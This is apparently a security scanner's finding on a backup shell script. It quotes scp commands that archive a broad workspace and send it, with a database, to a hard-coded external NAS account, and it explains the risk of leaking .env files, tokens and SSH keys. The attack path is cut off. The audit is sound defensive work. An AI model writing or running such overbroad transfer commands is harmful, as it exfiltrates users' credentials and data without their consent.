T05 · Unauthorized Access and Privilege Escalation
- Location
backup-nas.sh:2- Finding
Overbroad workspace collection and transfer to a hard-coded external destination
- Content
View full analysis
/dev/null scp -O /tmp/orbital-backup.tar.gz "$NAS:$DEST/orbital-workspace.tar.gz" 2>/dev/null # Also send the clean DB copy separately for easy access scp -O "$SRC/projects/the-orbital/data/orbital-backup.db" "$NAS:$DEST/orbital-backup.db" 2>/dev/null ``` ### Technical Analysis The script archives nearly the entire hard-coded workspace, excluding only `node_modules`, `.next`, and `.git`. It does not exclude common sensitive resources such as `.env` files, API tokens, SSH material, application credentials, logs, private configuration, or unrelated project data. The resulting archive and database are sent through SCP to the hard-coded account `lstone@192.168.4.95`. The comment also states that the NAS uses Cloud Sync to replicate data to Google Drive. This behavior conflicts with the documentation, which presents NAS backup as optional and instructs users to configure their own NAS path. The collection scope is broader than necessary to back up the identified SQLite database or a specifically approved project. The destination is tied to the author's apparent environment instead of being explicitly selected and verified by the operator. ### Attack Path 1. The user installs the documented hourly cron or OpenClaw scheduled task. 2. The schedu ...[truncated 1103 chars]- Remediation
View remediation
